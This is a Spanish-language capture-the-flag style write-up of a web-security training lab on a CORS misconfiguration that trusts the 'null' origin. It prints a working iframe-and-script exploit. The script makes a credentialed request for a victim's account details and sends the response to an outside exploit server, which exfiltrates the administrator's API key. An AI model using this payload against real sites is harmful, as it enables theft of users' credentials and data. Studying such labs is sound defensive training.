CORS vulnerability with trusted null origin writeup

Descripción

This website has an insecure CORS configuration in that it trusts the «null» origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.

You can log in to your own account using the following credentials: wiener:peter

CORS vulnerability with trusted null origin writeup

Al entrar en el laboratorio encontraremos una tienda online. Entraremos en ‘My account’ e iniciaremos sesión con el usuario ‘wiener’ y la contraseña ‘peter’. Veremos en el ‘Logger’ lo siguiente:

Dado que el HTTP Header tiene ‘Access-Control-Allow-Credentials: true’ es probablemente vulnerable a CORS.

Esta vez el código del anterior laboratorio no funcionará (CORS vulnerability with basic origin reflection), dado que el origen debe de ser o la misma página o null. Si se usa el mismo código, no se enviará información en el parámetro de la URL. Para solventar esto, usaremos un iframe, que hará que se cargue la página del laboratorio y desde ahí lanzará la petición:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0a0000b704d5e269ccfa4ac200270096.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='https://exploit-0a2300c50459e295cc124901018d00ed.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

Con esto obtendremos la información del usuario codificada como URL:

Acudimos a Cyberchef para decodificarlo:

Obteniendo así la API key ‘Sj5tPfOjvC7eltNIUJxvHX6SIK51WlN7’. Al enviarla en ‘Submit solution’ completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *